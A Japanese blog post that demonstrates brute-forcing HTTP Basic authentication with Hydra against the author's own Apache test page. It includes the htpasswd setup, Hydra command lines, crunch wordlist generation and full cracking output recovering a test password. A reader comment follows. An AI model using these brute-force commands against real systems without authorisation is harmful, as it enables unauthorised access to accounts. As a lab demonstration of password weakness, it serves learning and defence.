クラックツールHydraでベーシック認証を突破してみる
kali linuxにデフォルトでインストールされているツール「Hydra」を利用して、ベーシック認証突破を試してみるのです。。
Hydraとは?
ftp, ssh, http, imap, pop3などなど、多くのサービスをサポートする、超高速ログオンクラッキングツール。
類似ツールとして、Medusa、Ncrackなどありますが、それらと比較してもサポートが充実しており、また、アップデートも結構盛んに行われているようです。
動作環境は、Windows,Linux,MacOS,BSD系,Solarisなどなど、ほぼ全環境に対応しているようです。 サポートするプロトコルは、2014年7月現在で下記の通り。
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, S7-300, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
かなりの充実具合。。。 詳細は下記公式サイトを見てください。
https://github.com/vanhauser-thc/thc-hydra/blob/master/README.md
今回は、比較的チャレンジのハードルの低い、httpベーシック認証を突破してみますです。
Hydra、検証してみる
【攻撃される側】
Basic認証ページを用意
事前に、攻撃されるBasic認証のサンプルページを作っておきます。
パスワードファイルを生成
# ユーザ名:test, パスワード:passwordで生成する場合 $ htpasswd -c /etc/httpd/.samplehtpasswd test New password:password Re-type new password:password Adding password for user secret
apacheにBASIC認証を設定
$ sudo vim /etc/httpd/conf/httpd.conf #下記を追記する <Directory "/var/www/html/basictest/"> AllowOverride AuthConfig AuthUserFile /etc/httpd/.samplehtpasswd AuthGroupFile /dev/null AuthName "Please Enter Your Password" AuthType Basic Require valid-user </Directory>
apacheを再起動し、設定を反映
$ sudo service httpd restart
これで攻撃ページの完成。 実際にhttp://kontany.net/basictest/にアクセスしてみて、認証が行われ、ユーザ名:test,パスワード:passwordでページが表示されるか確認してみる。
【攻撃する側】
hydraを実行
まず、Hydraのオプションをみてみる。
$ hydra Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -t TASKS run TASKS number of connects in parallel (per host, default: 16) -U service module usage details -h more command line options (COMPLETE HELP) server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help)
基本オプションは小文字の場合は直データ指定、大文字の場合はファイル指定という仕様のよう。
ということで今回は、ユーザ名は判明しているが、パスワードは未知、というシチュエーションでやってみる。
なので下記のような指定方法でおk。
hydra -l <ユーザ名> -P <パスワード辞書ファイル> <サイトURL>
パスワード辞書ファイルは、今回、Linuxにデフォルトで搭載されている/usr/share/dict/wordsを使ってみる。
$ time hydra -l test -P /usr/share/dict/words http://kontany.net/basictest Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-07-14 18:54:19 [WARNING] The service http has been replaced with http-head and http-get, using by default GET method. Same for https. [DATA] 16 tasks, 1 server, 99171 login tries (l:1/p:99171), ~6198 tries per task [DATA] attacking service http-get on port 80 [STATUS] 2001.00 tries/min, 2001 tries in 00:01h, 97170 todo in 00:49h, 7 active [STATUS] 1311.00 tries/min, 3933 tries in 00:03h, 95238 todo in 01:13h, 3 active [STATUS] 1112.57 tries/min, 7788 tries in 00:07h, 91383 todo in 01:23h, 3 active ^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session. real 10m45.545s user 0m0.344s sys 0m5.172s
うん、、、10分間待ってみたけど、さすがにおよそ10万ワードの辞書リストだとちょっとお試しするには埒が明かん。。。ということで途中で断念。。。 まぁ発見としては、
- 1分間におよそ1000~2000トライできている
- hydra -R でリジューム機能が搭載されている
ということでもう少し小さい辞書ファイルを生成して再度検証してみる。。
辞書ファイル生成
$ crunch 2 2 -o passfile
#最後尾に今回のパスワードであるpasswordを追記 $ echo 'password' >> passfile
それでは再度トライ!!
$ time hydra -l test -P passfile http://kontany.net/basictest Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-07-14 19:13:42 [WARNING] The service http has been replaced with http-head and http-get, using by default GET method. Same for https. [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] 16 tasks, 1 server, 677 login tries (l:1/p:677), ~42 tries per task [DATA] attacking service http-get on port 80 [80][www] host: 219.94.251.54 login: test password: password 1 of 1 target completed, 0 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2014-07-14 19:14:02 real 0m19.953s user 0m0.044s sys 0m0.496s
あっという間に解析完了。。。
実際はユーザ名も未知な場合が多くあるので、ユーザ名の辞書ファイルも用意して、ざっくりだけど自乗倍くらいは時間かかるのかなと。
すんなり解析できるかは辞書ファイル次第ですね。
ということで用意なパスワード設定は危険ですよっということで締め。。。
GoogleAdsense
関連記事
-
-
【Android】APKのデコンパイルまとめ
AndroidのプロジェクトをパッケージングしたAPKファイルをデコンパイル(Javaのソースコード
-
-
【Android】代表的な脆弱性まとめ ~ファイルアクセス権について~
近年、スマートフォンの普及に伴い、Android, iPhone, WindowsPhone? ユー
-
-
【Androidエラー】Conversion to Dalvik format failed with error 1
Androidにおいて、アプリケーションを作成し終え、いざパッケージをエクスポートっ!!というところ
-
-
PHPのextensionが読み込まれない問題…
大したあれではないが、ちょっと詰まったのでメモ。。。 事のぼったんは久々にWordPressを
-
-
MySQLでの条件付きSUM,COUNT
以前つっかかったMySQLでの条件付きSUM,条件付きCOUNTについて備忘録。。。 通常、条
-
-
【Node.js】 Cookieの取り扱いまとめ
最近流行りのNode.jsですが、Cookieに関して、いくつかお決まりの取り扱い方があり、
-
-
bash設定ファイルについてまとめてみた
仮想環境を組んだ時に、環境変数が所どころ未設定なことがあった。 環境変数の設定にはbashの設定フ
-
-
Vimプラグイン「NERDTree」設定・コマンド備忘録
Vimのプラグインである「NERDTree」について、設定・コマンドを備忘録としてまとめておきます。
-
-
Win7, 64bit環境でのcocos2d-x環境構築まとめ
さて、いままでJavaオンリーでゴリゴリとアプリリリースしてきたわけですが、ゲームを作るとなると、ど
-
-
genymotionのすすめ
Android開発においてしばしば挙がる不満として、エミュレータのもっさり感があります。 この
Comment
こんにちは。
サイト読ませてもらいました。
僕もHydraを使ってパスワード解析をやってみたんですが、表示されるパスワードが間違っています。
例えば1234というバスワードが正解で、パスワードリストに1234という数字が入っているのに、表示される答えが違っています。
これはなぜなのでしょう?